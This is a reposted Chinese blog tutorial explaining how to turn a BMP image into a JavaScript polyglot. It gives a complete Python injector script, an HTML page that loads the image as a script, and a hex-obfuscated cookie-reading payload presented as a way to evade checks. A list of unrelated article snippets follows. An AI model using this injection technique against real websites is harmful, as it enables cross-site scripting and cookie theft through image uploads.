weixin_30929295
weixin_30929295

图片攻击-BMP图片中注入恶意JS代码

昨天看到一篇文章《hacking throung images》，里面介绍了如何在BMP格式的图片里注入JS代码，使得BMP图片既可以正常显示， 也可以运行其中的JS代码，觉得相当有趣。 执行JS注入的脚本 关键：构造符合正常BMP格式的图片 步骤 1. 将原BMP文件的第三，第四字节替换为\x2F\x2A， 对应js中的注释符号/* BMP文件的第三、四、五、六字节表示BMP文件的大小 2. 在BMP文件末尾添加 （1）\xFF （2）\x2A\x2F,对应的js中的注释符号*/ （3）\x3D\x31\x3B,对应的=1; 是为了伪造成BMP格式 （4）定制的JS代码 BMPinjector.py源码如下(Macro Ramili原本的源码）

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python2.7
import os
import argparse
def injectFile(payload,fname):
        f = open(fname,"r+b")
        b = f.read()
        f.close()
 
        f = open(fname,"w+b")
        f.write(b)
        f.seek(2,0)
        f.write(b'\x2F\x2A')
        f.close()
 
        f = open(fname,"a+b")
        f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
        f.write(payload)
        f.close()
        return True
 
if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument("filename",help="the bmp file name to infected")
        parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\"")
        args = parser.parse_args()
        injectFile(args.js_payload,args.filename)

 

演示 下面演示实际效果 运行脚本，将指定的JS代码写入到正常的BMP图片中 格式：python 脚本名 -i 正常BMP格式图片 JSPayload

python BMPinjector.py -i 1.bmp "alert(document.cookie);"

演示页面run.html

?
1
2
3
4
5
6
7
<html>
<head><title>Opening an imagetitle>head>
<body>
<img src="1.bmp"\>
<script src="1.bmp">script>
body>
html>

 

运行 http://xxx/run.html 加载中... 也可以采用js混淆来绕过检查,得到和上面一样的效果

python BMPinjector.py -i 1.bmp "var _0x9c4c=\"\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\"; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);"

注意：\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65对应document.cookie

 

 

参考： http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html

转载于:https://www.cnblogs.com/demonspider/p/3394231.html

你可能感兴趣的:(图片攻击-BMP图片中注入恶意JS代码)

  • 机器视觉|手势识别：基于YOLOv5的手部检测与MediaPipe的关键点估计 RockLiu@805 机器视觉YOLO
    手势识别：基于YOLOv5的手部检测与MediaPipe的关键点估计在实时计算机视觉应用中，手部检测与关键点估计是实现手势识别的重要基础。本文将介绍一种基于深度学习的手势识别技术方案，通过结合YOLOv5物体检测网络和MediaPipe关键点检测框架，实现实时的手部定位与关键点提取。技术背景gesturerecognition作为计算机视觉领域的重要研究方向，在HCI（人机交互）、遥控行为分析、虚
  • 程序调用Sql Server存储过程超时，但是数据库执行存储过程无异常的问题剖析 .Net 爱好者 c#.net.netcore
    在前端程序调用存储过程时出现执行超时，而直接在数据库中执行存储过程没有问题，这种情况可能与以下几个因素有关：1.查询计划缓存和参数嗅探SQLServer会为存储过程生成并缓存查询计划，以便在后续执行时提高性能。然而，查询计划是基于第一次执行时的参数生成的，这被称为“参数嗅探”。如果第一次执行时的参数与后续执行时的参数差异较大，可能会导致不适合的查询计划，从而影响性能。重新编译存储过程会使SQLSe
  • 智能化编程新时代，DeepSeek加持下的开发革命 ObsidianRaven13
    最新接入DeepSeek-V3模型，点击下载最新版本InsCodeAIIDE标题：智能化编程新时代，DeepSeek加持下的开发革命随着人工智能技术的飞速发展，编程领域正迎来一场前所未有的变革。从传统的手动编码到如今的智能辅助开发，这一过程不仅极大地提升了开发效率，还让编程变得更加简单和高效。在众多新兴工具中，基于DeepSeek模型的智能编程助手正在成为开发者的新宠。今天，我们将探讨这种工具如何
  • 【C++】栈的基础语法详解 MAX20131115 c++算法开发语言数据结构其他
    栈是C++中的一种基础容器，有“先进先出”的原则。1.定义一个栈stacks;栈的顺序入栈（1）栈中：1入栈（2）栈中：12入栈（3）栈中：123出栈栈中：12出栈栈中：1出栈栈中：无2.增加/删除(1).增加（入栈)增加需要用到‘push’函数（万能头文件中包含栈的函数）用法：intx;cin>>x;s.push(x);（2).删除（出栈)删除需要用到pop函数Tip：只能删除最先进来的数据，空
  • Oracle 数据库基础入门（七）：触发器与事务的深度探究 Aphelios380 Oracleoracle数据库javasql
    在Oracle数据库的生态系统中，触发器与事务是构建可靠、高效数据处理流程的关键组件。触发器能够自动响应特定数据库事件执行预设操作，而事务则确保一组数据库操作的原子性、一致性、隔离性和持久性。对于Java全栈开发者而言，深入理解并熟练运用触发器与事务，不仅能提升数据库操作的精细化程度，还能为构建稳健的企业级应用提供坚实支撑。让我们一同深入探索Oracle数据库中的触发器与事务。目录一、触发器（一）
  • Java:DDD领域驱动设计深度解析（全览） 以恒1 mvc架构java
    Java:DDD领域驱动设计深度解析（全览）在软件开发的世界里，我们总在寻找那把打开业务之门的钥匙。有人迷恋MVC的简洁，有人追逐微服务的潮流，而DDD（领域驱动设计）则像一位沉默的智者，提醒着我们：软件不是代码的堆砌，而是对现实世界的映射。DDD：不仅仅是框架，更是一种思维方式！在传统软件开发中，技术实现与业务需求之间始终存在着难以逾越的鸿沟。当业务专家说"我们需要优化客户旅程"，开发团队听到的
  • 深入解析LTE-A到5G的系统消息架构与功能演进 罗博深
    本文还有配套的精品资源，点击获取简介：系统消息是移动通信网络中，UE与网络间信息交换的核心，涵盖了网络状态、服务信息与系统配置。文章深入分析了4GLTE-A到5G网络中系统消息的组成、作用及其演进，包括MIB和SIBs的功能与内容，以及5G对系统消息的优化和新技术的引入，如动态调度、网络切片和针对物联网设备的特定参数配置。5G系统消息还通过机器学习和大数据分析实现智能化分发，增强了网络灵活性、智能
  • 用 Verilog 实现 0 到 18 计数器：从原理到实践的全解析 君临天下.鑫 modelsim波形仿真verilogfpga开发课程设计经验分享笔记编辑器
    在数字电路设计中，计数器是极为重要的基础部件，广泛应用于各类数字系统。本次实验聚焦于设计一个从0到18计数的计数器，通过深入探索计数器的工作原理、利用组合逻辑控制计数范围，进一步加深对数字电路和Verilog语言的理解与应用。一、实验目的理解计数器通用原理：全面掌握计数器的基本工作原理，包括计数的方式、状态的转换以及与外部信号的交互等，为设计特定功能的计数器奠定理论基础。运用组合逻辑控制计数范围：
  • 7.探索XSS跨站脚本攻击 早安TnT 网络安全学习计划（每日计划）xss前端网络安全学习
    探索XSS跨站脚本攻击第一部分：XSS基础（理论）第二部分：XSS的手工测试（理论）第三部分：DVWA靶场实践XSS（实践）总结目标：•理解XSS的基本原理与类型•掌握XSS的手工测试方法•通过DVWA靶场实践XSS攻击详细内容与教学第一部分：XSS基础（理论）学习内容：•什么是XSS？•XSS的类型•XSS的危害详细讲解：1什么是XSS？XSS（Cross-SiteScripting，跨站脚本攻
  • 通过Python使用json库写一个更新josn文件中某个字段中数组数据的函数 焦虑肇事者 json
    你可以使用Python中的json库来读取json文件，然后使用Python字典的方式来更新json文件中的某个字段。最后，使用json库的写入功能将更新后的字典写回json文件。例如，你可以使用以下代码来实现这个功能：importjsondefupdate_json_array(json_file,field,new_data):#读取json文件withopen(json_file,'r')a
  • ros如何编译python文件_（二）ROS入门——4.如何编写ROS的第一个程序hello_world weixin_39935903 ros如何编译python文件
    ROS机器人操作系统在机器人应用领域很流行，依托代码开源和模块间协作等特性，给机器人开发者带来了很大的方便。我们的机器人“miiboo”中的大部分程序也采用ROS进行开发，所以本文就重点对ROS基础知识进行详细的讲解，给不熟悉ROS的朋友起到一个抛砖引玉的作用。本章节主要内容：1.ROS是什么2.ROS系统整体架构3.在ubuntu16.04中安装ROSkinetic4.如何编写ROS的第一个程序
  • 企微扫码登录 庸懒 企业微信
    企微扫码登录企微的扫码登录官网有较为详细的文档扫码授权登录-文档-企业微信开发者中心(qq.com)，对主要流程有详细说明且对部分代码有示例。扫码登录有两种方式，一种是跳转到扫码页面，一种是内嵌二维码，因为第二种接受度更高所以这里以第二个为例：1.引入资源首先需要在网页中引入企微的指定资源http://rescdn.qqmail.com/node/ww/wwopenmng/js/sso/wwLog
  • C++ 接口（抽象类） 阳光向日葵向阳 c++开发语言
    接口描述了类的行为和功能，而不需要完成类的特定实现。C++接口是使用抽象类来实现的，抽象类与数据抽象互不混淆，数据抽象是一个把实现细节与相关的数据分离开的概念。如果类中至少有一个函数被声明为纯虚函数，则这个类就是抽象类。纯虚函数是通过在声明中使用"=0"来指定的，如下所示：classBox{public://纯虚函数virtualdoublegetVolume()=0;private:double
  • 【杨乐昆何凯明AI论文】没有归一化的Transformer模型 东临碣石82 人工智能transformer深度学习
    摘要：归一化层在现代神经网络中无处不在，长期以来一直被视为不可或缺的组成部分。本研究表明，通过使用一种极其简单的技术，没有归一化的Transformer模型可以达到相同或更好的性能。我们引入了动态Tanh（DyT），这是一种逐元素操作，表示为DyT(x)=tanh(alphax)，作为Transformer中归一化层的即插即用替代品。DyT的灵感来源于这样一个观察：Transformer中的层归一
  • 什么是遍历？ dengjuanshou7445 javascriptViewUI
    jQuery遍历，意为“移动”，用于根据其相对于其他元素的关系来“查找”（或选取）HTML元素。以某项选择开始，并沿着这个选择移动，直到抵达您期望的元素为止。下图展示了一个家族树。通过jQuery遍历，您能够从被选（当前的）元素开始，轻松地在家族树中向上移动（祖先），向下移动（子孙），水平移动（同胞）。这种移动被称为对DOM进行遍历。图示解释：元素是的父元素，同时是其中所有内容的祖先。元素是元素的
  • 芯谷78M05：三端正电压调节器的稳定之选 青牛科技实业01 芯谷单片机嵌入式硬件散热风扇智能家居科技音频限幅便携式音频
    在电子电路设计中，稳定的电源供应是确保系统正常运行的关键因素之一。78M05作为一款经典的三端正电压调节器，以其简单、可靠和高效的特性，成为了众多工程师在5V电源设计中的首选。本文将深入探讨芯谷78M05的特性、电气参数、典型应用电路以及使用注意事项，帮助读者全面了解这一经典芯片。一、产品概述芯谷78M05是一款三端正电压调节器，属于78MXX系列固定电压调节器集成电路的一员。该芯片能够提供稳定的
  • WebRTC的ICE之STUN协议 chen_song_ WebRTC源码探秘webrtc音视频
    WebRTC的ICE之STUN协议WebRTC的ICE之STUN协议WebRTC的ICE之STUN协议前言一、STUN协议二、STUN协议头格式三、STUNHeader四、STUNMessageType1、C0C12、STUN信息类型3、大小端模式五、StunMagicCookie六、TransactionID事务ID七、STUNMessageBody八、RFC3489定义的属性九、WebRTC中
  • 用Python提取json数据到Excel文件中 程序媛了了 pythonjsonexcel
    本文介绍基于Python，读取JSON文件数据，并将JSON文件中指定的键值对数据转换为.csv格式文件的方法。在之前的文章疯狂学习GIS：Python读取JSON数据并存储为CSV表格中，我们就介绍过将JSON文件数据保存到.csv格式或.xlsx格式的表格文件中的方法；而本文我们将针对不同的待提取数据特征，给出另一种方法。首先，我们来明确一下具体的需求。我们现有一个JSON文件数据，是一个包含
  • Android Framework中Launcher的启动流程分析 数据科学引擎 android
    AndroidFramework中Launcher的启动流程分析Launcher是Android系统中负责管理应用程序显示和启动的组件。在这篇文章中，我们将深入分析AndroidFramework中Launcher的启动流程，并通过代码示例来说明。Launcher的启动过程可以分为以下几个关键步骤：用户点击应用图标或按下Home键触发Launcher启动。Launcher的入口是Launcher应
  • Jetpack LiveData Bonnie_cat JetPackandroid
    1.什么是LiveData?LiveData是一种可观察的数据持有者，通常用于在Android应用中以生命周期感知的方式更新UI。它是生命周期感知的，意味着它只会通知处于活跃生命周期状态（如STARTED或RESUMED）的观察者。LiveData通常与ViewModel结合使用，用于将UI与数据分离。2.LiveData的使用场景数据驱动UI：当数据发生变化时，自动更新UI，例如从数据库或网络获
  • 23章9节：分层随机抽样及其在R语言中的实现与验证 DAT｜R科学与人工智能 用R探索医药数据科学r语言开发语言r-4.2.1机器学习人工智能算法
    在统计学和数据科学的实际工作中，抽样方法始终扮演着至关重要的角色。如何从庞大的总体中获取具有代表性的样本，一直是数据分析过程中需要面对的核心问题之一。分层随机抽样作为一种常用的抽样方法，因其能够针对总体中的不同亚群体（层）进行有针对性的抽样，从而提高样本代表性、降低抽样误差，被广泛应用于社会调查、市场研究、医学试验等各个领域。本文旨在系统地阐述分层随机抽样的理论基础、抽样方法及其在R语言中的实现，
  • html-to-image的使用及图片变形和无图问题修复 庸懒 前端
    html-to-image的使用及图片变形和无图问题修复最近迭代的时候因为新增了一个需求，需要前端提供素材及样式给后端，后端同步渲染，但是因为部分样式问题后端无法实现所以决定前端将页面生成图片然后传递给后端使用，本文记录一下使用的过程及遇到的部分问题。技术调研现在将页面元素转换成图片的插件有很多，普遍使用的技术原理都是利用canvas或者SVG将页面元素转换成画布或者svg元素，然后再转成图片。这
  • 我在墨香中前行 wmytpzjxdjx httpx
    在墨香中前行墨香悠悠，如一条蜿蜒的小径，带我走进书法的世界，引领我在坚持中不断前行。小时候，我被爷爷书房里的松烟墨香深深吸引。那次，我踮起脚尖，试图触碰案头那雕着云纹的砚台，却不小心打翻了笔架。毛笔散落一地，墨水四溅，我满心惊恐。可爷爷并未责备我，他温和地说：“想学书法，得坚持。”那一句话，如同一颗种子，在我心中悄然种下。爷爷把笔递给我，我满怀期待地握住，想要在宣纸上展现风采。然而，现实却如一盆冷
  • MacOS在matlab中使用dir时，总是出现“._”文件的解决方法 我是水怪的哥 经验分享Matlabmacos经验分享
    问题描述：Mac读取文件时出现"._"文件的原因是macOS自动创建隐藏的元数据文件（AppleDouble格式），特别是在文件被复制到非macOS文件系统（如外接硬盘、U盘、网络共享盘）时。（1）为什么会出现"._"文件？(a)macOS会将额外的文件信息（如Finder标签、资源分叉、权限等）存储在"._"文件中。(b)这些文件通常在macOS下是隐藏的，但在MATLAB读取文件时，尤其是在L
  • 反激与LLC电路中假负载的作用及选型分析 DeepGpt 电路硬件工程
    在反激（Flyback）和LLC谐振电路中，输出端经常加假负载（DummyLoad）的原因主要是为了解决轻载或空载条件下的工作不稳定问题。以下是具体原因和假负载选择的大致依据：1.为什么需要在输出加假负载？1.1反激电路（Flyback）最小负载要求反激拓扑在轻载或空载时，反馈环路可能无法稳定工作。因为反激电路通常采用脉宽调制（PWM）控制输出电压，当负载过轻时，占空比会变得极小，导致控制器进入“
  • 性能2-科学计算中的日志记录：调试、性能与信任 李星星BruceL 自动化测试pythonpandasnumpy算法
    目录科学计算中的日志记录：调试、性能与信任你已经运行了科学模型的批处理程序，经过数小时的计算后，它输出了一个结果。然而，结果是错误的。你怀疑计算中存在错误，但不确定具体是什么问题，而缓慢的反馈循环使得调试变得更加困难。如果能不花费数天时间运行程序就能调试并加速它，那该多好？虽然我不是科学家，而是一名软件工程师，但我曾在科学计算领域工作了一年半。我想提供一个解决这类问题的潜在方案：日志记录，特别是我
  • 性能2-Docker 可能会减慢你的代码并扭曲基准测试结果 李星星BruceL 自动化测试docker容器运维
    目录Docker可能会减慢你的代码并扭曲基准测试结果理论上，Docker容器没有性能开销。但实际上，它们可能会减慢你的代码并扭曲性能测量结果。容器的好处之一是，你可以在没有虚拟化性能开销或扭曲的情况下获得一定程度的隔离。因此，Docker镜像似乎是测量代码CPU性能的可重现环境的良好选择。然而，实际情况要复杂一些。有时，在Docker中运行代码实际上会减慢你的代码并扭曲性能测量结果。例如，在mac
  • 使用Java进行MySQL数据库的增删改查操作 代码快速拳 数据库javamysqlJava
    在Java开发中，使用JDBC（JavaDatabaseConnectivity）来连接和操作数据库是非常常见的。本文将介绍如何使用JDBC编程来实现MySQL数据库的增删改查操作。首先，我们需要准备好MySQL的JDBC驱动程序。你可以从MySQL官方网站下载并安装适合你使用的驱动程序版本。确保将驱动程序的JAR文件添加到你的Java项目的类路径中。接下来，我们将逐个介绍如何执行MySQL数据库
  • 如何使用PHP进行单元测试：工具与方法 挚***沾 php经验php单元测试
    如何使用PHP进行单元测试：工具与方法单元测试是软件开发中不可或缺的一部分，它能够确保代码的每个独立单元（如函数、类或方法）在隔离环境中按预期工作。对于PHP开发者来说，掌握单元测试的工具和方法是提高代码质量和开发效率的关键。本文将详细介绍如何使用PHP进行单元测试，涵盖常用的工具、编写测试用例的方法以及最佳实践。1.单元测试的重要性在深入讨论工具和方法之前，首先需要明确单元测试的重要性。单元测试
  • PHP安全最佳实践：防御XSS与CSRF攻击 挚***沾 php经验php安全xss
    PHP安全最佳实践：防御XSS与CSRF攻击在Web开发中，安全性是一个至关重要的方面。PHP作为一种广泛使用的服务器端脚本语言，常常成为攻击者的目标。本文将重点讨论如何通过最佳实践来防御两种常见的Web攻击：跨站脚本攻击（XSS）和跨站请求伪造（CSRF）。1.跨站脚本攻击（XSS）防御1.1什么是XSS攻击？跨站脚本攻击（XSS）是一种注入攻击，攻击者通过在网页中插入恶意脚本，使得这些脚本在用
  • C/C++Win32编程基础详解视频下载 择善Zach 编程C++Win32
    课题视频：C/C++Win32编程基础详解 视频知识：win32窗口的创建                   windows事件机制 主讲：择善Uncle老师 学习交流群：386620625 验证码：625 --
  • Guava Cache使用笔记 bylijinnan javaguavacache
    1.Guava Cache的get/getIfPresent方法当参数为null时会抛空指针异常 我刚开始使用时还以为Guava Cache跟HashMap一样，get(null)返回null。 实际上Guava整体设计思想就是拒绝null的，很多地方都会执行com.google.common.base.Preconditions.checkNotNull的检查。 2.Guava
  • 解决ora-01652无法通过128（在temp表空间中） 0624chenhong oracle
    解决ora-01652无法通过128（在temp表空间中）扩展temp段的过程 一个sql语句后，大约花了10分钟，好不容易有一个结果，但是报了一个ora-01652错误，查阅了oracle的错误代码说明：意思是指temp表空间无法自动扩展temp段。这种问题一般有两种原因：一是临时表空间空间太小，二是不能自动扩展。 分析过程：    既然是temp表空间有问题，那当
  • Struct在jsp标签 不懂事的小屁孩 struct
    非UI标签介绍： 控制类标签： 1：程序流程控制标签   if   elseif    else <s:if test="isUsed"> <span class="label label-success">True</span> </
  • 按对象属性排序 换个号韩国红果果 JavaScript对象排序
    利用JavaScript进行对象排序，根据用户的年龄排序展示 <script> var bob={ name;bob, age:30 } var peter={ name;peter, age:30 } var amy={ name;amy, age:24 } var mike={ name;mike, age:29 } var john={
  • 大数据分析让个性化的客户体验不再遥远 蓝儿唯美 数据分析
    顾客通过多种渠道制造大量数据，企业则热衷于利用这些信息来实现更为个性化的体验。 分析公司Gartner表示，高级分析会成为客户服务的关键，但是大数据分析的采用目前仅局限于不到一成的企业。 挑战在于企业还在努力适应结构化数据，疲于根据自身的客户关系管理（CRM）系统部署有效的分析框架，以及集成不同的内外部信息源。 然而，面对顾客通过数字技术参与而产生的快速变化的信息，企业需要及时作出反应。要想实
  • java笔记4 a-john java
    操作符 1，使用java操作符       操作符接受一个或多个参数，并生成一个新值。参数的形式与普通的方法调用不用，但是效果是相同的。加号和一元的正号（+）、减号和一元的负号（-）、乘号（*）、除号（/）以及赋值号（=）的用法与其他编程语言类似。       操作符作用于操作数，生成一个新值。另外，有些操作符可能会改变操作数自身的
  • 从裸机编程到嵌入式Linux编程思想的转变------分而治之：驱动和应用程序 aijuans 嵌入式学习
        笔者学习嵌入式Linux也有一段时间了，很奇怪的是很多书讲驱动编程方面的知识，也有很多书将ARM9方面的知识，但是从以前51形式的（对寄存器直接操作，初始化芯片的功能模块）编程方法，和思维模式，变换为基于Linux操作系统编程，讲这个思想转变的书几乎没有，让初学者走了很多弯路，撞了很多难墙。     笔者因此写上自己的学习心得，希望能给和我一样转变
  • 在springmvc中解决FastJson循环引用的问题 asialee 循环引用fastjson
              我们先来看一个例子：           package com.elong.bms; import java.io.OutputStream; import java.util.HashMap; import java.util.Map; import co
  • ArrayAdapter和SimpleAdapter技术总结 百合不是茶 androidSimpleAdapterArrayAdapter高级组件基础
    ArrayAdapter比较简单，但它只能用于显示文字。而SimpleAdapter则有很强的扩展性，可以自定义出各种效果   ArrayAdapter;的数据可以是数组或者是队列        // 获得下拉框对象 AutoCompleteTextView textview = (AutoCompleteTextView) this
  • 九封信 bijian1013 人生励志
            有时候，莫名的心情不好，不想和任何人说话，只想一个人静静的发呆。有时候，想一个人躲起来脆弱，不愿别人看到自己的伤口。有时候，走过熟悉的街角，看到熟悉的背影，突然想起一个人的脸。有时候，发现自己一夜之间就长大了。         2014，写给人
  • Linux下安装MySQL Web 管理工具phpMyAdmin sunjing PHPInstallphpMyAdmin
    PHP http://php.net/ phpMyAdmin http://www.phpmyadmin.net Error compiling PHP on CentOS x64   一、安装Apache 请参阅http://billben.iteye.com/admin/blogs/1985244   二、安装依赖包 sudo yum install gd
  • 分布式系统理论 bit1129 分布式
    FLP One famous theory in distributed computing, known as FLP after the authors Fischer, Lynch, and Patterson, proved that in a distributed system with asynchronous communication and process crashes,
  • ssh2整合(spring+struts2+hibernate)-附源码 白糖_ eclipsespringHibernatemysql项目管理
    最近抽空又整理了一套ssh2框架，主要使用的技术如下： spring做容器，管理了三层(dao,service,actioin)的对象 struts2实现与页面交互(MVC)，自己做了一个异常拦截器，能拦截Action层抛出的异常 hibernate与数据库交互 BoneCp数据库连接池，据说比其它数据库连接池快20倍，仅仅是据说 MySql数据库   项目用eclipse
  • treetable bug记录 braveCS table
    // 插入子节点删除再插入时不能正常显示。修改： //不知改后有没有错，先做个备忘 Tree.prototype.removeNode = function(node) { // Recursively remove all descendants of +node+ this.unloadBranch(node); // Remove
  • 编程之美-电话号码对应英语单词 bylijinnan java算法编程之美
    import java.util.Arrays; public class NumberToWord { /** * 编程之美 电话号码对应英语单词 * 题目： * 手机上的拨号盘，每个数字都对应一些字母，比如2对应ABC，3对应DEF.........，8对应TUV，9对应WXYZ， * 要求对一段数字，输出其代表的所有可能的字母组合
  • jquery ajax读书笔记 chengxuyuancsdn jQuery ajax
    1、jsp页面 <%@ page language="java" import="java.util.*" pageEncoding="GBK"%> <% String path = request.getContextPath(); String basePath = request.getScheme()
  • JWFD工作流拓扑结构解析伪码描述算法 comsci 数据结构算法工作活动J#
      对工作流拓扑结构解析感兴趣的朋友可以下载附件，或者下载JWFD的全部代码进行分析   /*  流程图拓扑结构解析伪码描述算法         public java.util.ArrayList DFS(String graphid, String stepid, int j)
  • oracle I/O 从属进程 daizj oracle
    I/O 从属进程 　　I/O从属进程用于为不支持异步I/O的系统或设备模拟异步I/O.例如，磁带设备(相当慢)就不支持异步I/O.通过使用I/O 从属进程，可以让磁带机模仿通常只为磁盘驱动器提供的功能。就好像支持真正的异步I/O 一样，写设备的进程(调用者)会收集大量数据，并交由写入器写出。数据成功地写出时，写入器(此时写入器是I/O 从属进程，而不是操作系统)会通知原来的调用者，调用者则会
  • 高级排序:希尔排序 dieslrae 希尔排序
    public void shellSort(int[] array){ int limit = 1; int temp; int index; while(limit <= array.length/3){ limit = limit * 3 + 1;
  • 初二下学期难记忆单词 dcj3sjt126com englishword
    kitchen 厨房 cupboard 厨柜 salt 盐 sugar 糖 oil 油 fork 叉；餐叉 spoon 匙；调羹 chopsticks 筷子 cabbage 卷心菜；洋白菜 soup 汤 Italian 意大利的   Indian 印度的 workplace  工作场所 even 甚至；更 Italy 意大利 laugh 笑 m
  • Go语言使用MySQL数据库进行增删改查 dcj3sjt126com mysql
    目前Internet上流行的网站构架方式是LAMP，其中的M即MySQL, 作为数据库，MySQL以免费、开源、使用方便为优势成为了很多Web开发的后端数据库存储引擎。MySQL驱动Go中支持MySQL的驱动目前比较多，有如下几种，有些是支持database/sql标准，而有些是采用了自己的实现接口,常用的有如下几种: http://code.google.c...o-mysql-dri
  • git命令 shuizhaosi888 git
    ---------------设置全局用户名： git config --global user.name "HanShuliang" //设置用户名 git config --global user.email "[email protected]" //设置邮箱 ---------------查看环境配置 git config --li
  • qemu-kvm 网络 nat模式 (四) haoningabc kvmqemu
    qemu-ifup-NAT #!/bin/bash BRIDGE=virbr0 NETWORK=192.168.122.0 GATEWAY=192.168.122.1 NETMASK=255.255.255.0 DHCPRANGE=192.168.122.2,192.168.122.254 TFTPROOT= BOOTP= function check_bridge()
  • 不要让未来的你，讨厌现在的自己 jingjing0907 生活 奋斗 工作 梦想
     故事one 　23岁，他大学毕业，放弃了父母安排的稳定工作，独闯京城，在家小公司混个小职位，工作还算顺手，月薪三千，混了混，混走了一年的光阴。　　　　24岁，有了女朋友，从二环12人的集体宿舍搬到香山民居，一间平房，二人世界，爱爱爱。偶然约三朋四友，打扑克搓麻将，日子快乐似神仙；　　　　25岁，出了几次差，调了两次岗，薪水涨了不过百，生猛狂飙的物价让现实血淋淋，无力为心爱银儿购件大牌
  • 枚举类型详解 一路欢笑一路走 enum枚举详解enumsetenumMap
    枚举类型详解 一.Enum详解      1.1枚举类型的介绍   JDK1.5加入了一个全新的类型的”类”—枚举类型，为此JDK1.5引入了一个新的关键字enum,我们可以这样定义一个枚举类型。      Demo:一个最简单的枚举类   public enum ColorType { RED
  • 第11章 动画效果（上） onestopweb 动画
    index.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/
  • Eclipse中jsp、js文件编辑时，卡死现象解决汇总 ljf_home eclipsejsp卡死js卡死
    使用Eclipse编辑jsp、js文件时，经常出现卡死现象，在网上百度了N次，经过N次优化调整后，卡死现象逐步好转，具体那个方法起到作用，不太好讲。将所有用过的方法罗列如下：   1、取消验证 windows–>perferences–>validation 把 除了manual 下面的全部点掉，build下只留 classpath dependency Valida
  • MySQL编程中的6个重要的实用技巧 tomcat_oracle mysql
    每一行命令都是用分号(;)作为结束 对于MySQL，第一件你必须牢记的是它的每一行命令都是用分号(;)作为结束的，但当一行MySQL被插入在PHP代码中时，最好把后面的分号省略掉，例如： mysql_query("INSERT INTO tablename(first_name,last_name)VALUES('$first_name',$last_name')");
  • zoj 3820 Building Fire Stations(二分+bfs) 阿尔萨斯 Build
    题目链接：zoj 3820 Building Fire Stations 题目大意：给定一棵树，选取两个建立加油站，问说所有点距离加油站距离的最大值的最小值是多少，并且任意输出一种建立加油站的方式。 解题思路：二分距离判断，判断函数的复杂度是o(n)，这样的复杂度应该是o(nlogn)，即使常数系数偏大，但是居然跑了4.5s，也是醉了。 判断函数里面做了3次bfs，但是每次bfs节点最多
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他